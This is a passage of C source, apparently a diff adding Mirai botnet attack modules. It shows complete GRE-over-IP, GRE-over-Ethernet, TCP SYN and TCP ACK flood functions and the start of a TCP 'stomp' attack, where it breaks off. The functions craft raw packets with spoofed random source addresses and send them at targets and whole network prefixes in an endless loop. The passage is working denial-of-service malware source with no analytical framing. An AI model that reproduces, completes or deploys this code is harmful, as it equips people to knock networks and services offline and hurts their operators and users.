uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
|
||||
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct grehdr *greh;
|
||||
struct iphdr *greiph;
|
||||
struct udphdr *udph;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char *));
|
||||
iph = (struct iphdr *)(pkts[i]);
|
||||
greh = (struct grehdr *)(iph + 1);
|
||||
greiph = (struct iphdr *)(greh + 1);
|
||||
udph = (struct udphdr *)(greiph + 1);
|
||||
|
||||
// IP header init
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_GRE;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
// GRE header init
|
||||
greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes
|
||||
|
||||
// Encapsulated IP header init
|
||||
greiph->version = 4;
|
||||
greiph->ihl = 5;
|
||||
greiph->tos = ip_tos;
|
||||
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
greiph->id = htons(~ip_ident);
|
||||
greiph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
greiph->frag_off = htons(1 << 14);
|
||||
greiph->protocol = IPPROTO_UDP;
|
||||
greiph->saddr = rand_next();
|
||||
if (gcip)
|
||||
greiph->daddr = iph->daddr;
|
||||
else
|
||||
greiph->daddr = ~(greiph->saddr - 1024);
|
||||
|
||||
// UDP header init
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + data_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct grehdr *greh = (struct grehdr *)(iph + 1);
|
||||
struct iphdr *greiph = (struct iphdr *)(greh + 1);
|
||||
struct udphdr *udph = (struct udphdr *)(greiph + 1);
|
||||
char *data = (char *)(udph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
{
|
||||
iph->id = rand_next() & 0xffff;
|
||||
greiph->id = ~(iph->id - 1000);
|
||||
}
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next() & 0xffff;
|
||||
|
||||
if (!gcip)
|
||||
greiph->daddr = rand_next();
|
||||
else
|
||||
greiph->daddr = iph->daddr;
|
||||
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
greiph->check = 0;
|
||||
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_family = AF_INET;
|
||||
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
|
||||
targs[i].sock_addr.sin_port = 0;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
break;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
|
||||
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct grehdr *greh;
|
||||
struct ethhdr *ethh;
|
||||
struct iphdr *greiph;
|
||||
struct udphdr *udph;
|
||||
uint32_t ent1, ent2, ent3;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char *));
|
||||
iph = (struct iphdr *)(pkts[i]);
|
||||
greh = (struct grehdr *)(iph + 1);
|
||||
ethh = (struct ethhdr *)(greh + 1);
|
||||
greiph = (struct iphdr *)(ethh + 1);
|
||||
udph = (struct udphdr *)(greiph + 1);
|
||||
|
||||
// IP header init
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_GRE;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
// GRE header init
|
||||
greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes
|
||||
|
||||
// Ethernet header init
|
||||
ethh->h_proto = htons(ETH_P_IP);
|
||||
|
||||
// Encapsulated IP header init
|
||||
greiph->version = 4;
|
||||
greiph->ihl = 5;
|
||||
greiph->tos = ip_tos;
|
||||
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
greiph->id = htons(~ip_ident);
|
||||
greiph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
greiph->frag_off = htons(1 << 14);
|
||||
greiph->protocol = IPPROTO_UDP;
|
||||
greiph->saddr = rand_next();
|
||||
if (gcip)
|
||||
greiph->daddr = iph->daddr;
|
||||
else
|
||||
greiph->daddr = ~(greiph->saddr - 1024);
|
||||
|
||||
// UDP header init
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + data_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct grehdr *greh = (struct grehdr *)(iph + 1);
|
||||
struct ethhdr *ethh = (struct ethhdr *)(greh + 1);
|
||||
struct iphdr *greiph = (struct iphdr *)(ethh + 1);
|
||||
struct udphdr *udph = (struct udphdr *)(greiph + 1);
|
||||
char *data = (char *)(udph + 1);
|
||||
uint32_t ent1, ent2, ent3;
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
{
|
||||
iph->id = rand_next() & 0xffff;
|
||||
greiph->id = ~(iph->id - 1000);
|
||||
}
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next() & 0xffff;
|
||||
|
||||
if (!gcip)
|
||||
greiph->daddr = rand_next();
|
||||
else
|
||||
greiph->daddr = iph->daddr;
|
||||
|
||||
ent1 = rand_next();
|
||||
ent2 = rand_next();
|
||||
ent3 = rand_next();
|
||||
util_memcpy(ethh->h_dest, (char *)&ent1, 4);
|
||||
util_memcpy(ethh->h_source, (char *)&ent2, 4);
|
||||
util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2);
|
||||
util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2);
|
||||
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
greiph->check = 0;
|
||||
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_family = AF_INET;
|
||||
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
|
||||
targs[i].sock_addr.sin_port = 0;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
break;
|
||||
#endif
|
||||
}
|
||||
}
|
489
mirai/bot/attack_tcp.c
Executable file
489
mirai/bot/attack_tcp.c
Executable file
@ -0,0 +1,489 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/tcp.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "checksum.h"
|
||||
#include "rand.h"
|
||||
|
||||
void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
|
||||
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);
|
||||
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
|
||||
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);
|
||||
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
|
||||
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
|
||||
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);
|
||||
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
|
||||
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct tcphdr *tcph;
|
||||
uint8_t *opts;
|
||||
|
||||
pkts[i] = calloc(128, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
tcph = (struct tcphdr *)(iph + 1);
|
||||
opts = (uint8_t *)(tcph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_TCP;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
tcph->source = htons(sport);
|
||||
tcph->dest = htons(dport);
|
||||
tcph->seq = htons(seq);
|
||||
tcph->doff = 10;
|
||||
tcph->urg = urg_fl;
|
||||
tcph->ack = ack_fl;
|
||||
tcph->psh = psh_fl;
|
||||
tcph->rst = rst_fl;
|
||||
tcph->syn = syn_fl;
|
||||
tcph->fin = fin_fl;
|
||||
|
||||
// TCP MSS
|
||||
*opts++ = PROTO_TCP_OPT_MSS; // Kind
|
||||
*opts++ = 4; // Length
|
||||
*((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));
|
||||
opts += sizeof (uint16_t);
|
||||
|
||||
// TCP SACK permitted
|
||||
*opts++ = PROTO_TCP_OPT_SACK;
|
||||
*opts++ = 2;
|
||||
|
||||
// TCP timestamps
|
||||
*opts++ = PROTO_TCP_OPT_TSVAL;
|
||||
*opts++ = 10;
|
||||
*((uint32_t *)opts) = rand_next();
|
||||
opts += sizeof (uint32_t);
|
||||
*((uint32_t *)opts) = 0;
|
||||
opts += sizeof (uint32_t);
|
||||
|
||||
// TCP nop
|
||||
*opts++ = 1;
|
||||
|
||||
// TCP window scale
|
||||
*opts++ = PROTO_TCP_OPT_WSS;
|
||||
*opts++ = 3;
|
||||
*opts++ = 6; // 2^6 = 64, window size scale = 64
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
if (sport == 0xffff)
|
||||
tcph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
tcph->dest = rand_next() & 0xffff;
|
||||
if (seq == 0xffff)
|
||||
tcph->seq = rand_next();
|
||||
if (ack == 0xffff)
|
||||
tcph->ack_seq = rand_next();
|
||||
if (urg_fl)
|
||||
tcph->urg_ptr = rand_next() & 0xffff;
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
tcph->check = 0;
|
||||
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
|
||||
|
||||
targs[i].sock_addr.sin_port = tcph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
|
||||
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);
|
||||
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
|
||||
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
|
||||
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
|
||||
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
|
||||
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
|
||||
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct tcphdr *tcph;
|
||||
char *payload;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
tcph = (struct tcphdr *)(iph + 1);
|
||||
payload = (char *)(tcph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_TCP;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
tcph->source = htons(sport);
|
||||
tcph->dest = htons(dport);
|
||||
tcph->seq = htons(seq);
|
||||
tcph->doff = 5;
|
||||
tcph->urg = urg_fl;
|
||||
tcph->ack = ack_fl;
|
||||
tcph->psh = psh_fl;
|
||||
tcph->rst = rst_fl;
|
||||
tcph->syn = syn_fl;
|
||||
tcph->fin = fin_fl;
|
||||
tcph->window = rand_next() & 0xffff;
|
||||
if (psh_fl)
|
||||
tcph->psh = TRUE;
|
||||
|
||||
rand_str(payload, data_len);
|
||||
}
|
||||
|
||||
// targs[0].sock_addr.sin_port = tcph->dest;
|
||||
// if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)
|
||||
// {
|
||||
//
|
||||
// }
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
char *data = (char *)(tcph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
if (sport == 0xffff)
|
||||
tcph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
tcph->dest = rand_next() & 0xffff;
|
||||
if (seq == 0xffff)
|
||||
tcph->seq = rand_next();
|
||||
if (ack == 0xffff)
|
||||
tcph->ack_seq = rand_next();
|
||||
|
||||
// Randomize packet content?
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
tcph->check = 0;
|
||||
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = tcph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, rfd;
|
||||
struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
|
||||
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
|
||||
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
|
||||
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
|
||||
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
|
||||
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
|
||||
// Set up receive socket
|
||||
if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Could not open raw socket!\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(rfd);
|
||||
return;
|
||||
}
|
||||
|
||||
// Retrieve all ACK/SEQ numbers
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
int fd;
|
||||
struct sockaddr_in addr, recv_addr;
|
||||
socklen_t recv_addr_len;
|
||||
char pktbuf[256];
|
||||
time_t start_recv;
|
||||
|
||||
stomp_setup_nums:
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create socket!\n");
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
|
||||
// Set it in nonblocking mode
|
||||
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
|
||||
|
||||
// Set up address to connect to
|
||||
addr.sin_family = AF_INET;
|
||||
if (targs[i].netmask < 32)
|
||||
addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
else
|
||||
addr.sin_addr.s_addr = targs[i].addr;
|
||||
if (dport == 0xffff)
|
||||
addr.sin_port = rand_next() & 0xffff;
|
||||
else
|
||||
addr.sin_port = htons(dport);
|
||||
|
||||
// Actually connect, nonblocking
|
||||
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
||||
start_recv = time(NULL);
|
||||
|
||||
// Get info
|
||||
while (TRUE)
|
||||
{
|
||||
int ret;
|
||||
|
||||
recv_addr_len = sizeof (struct sockaddr_in);
|
||||
ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
|
||||
if (ret == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Could not listen on raw socket!\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
|
||||
{
|
||||
struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
|
||||
|
||||
if (tcph->source == addr.sin_port)
|
||||
{
|
||||
if (tcph->syn && tcph->ack)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct tcphdr *tcph;
|
||||
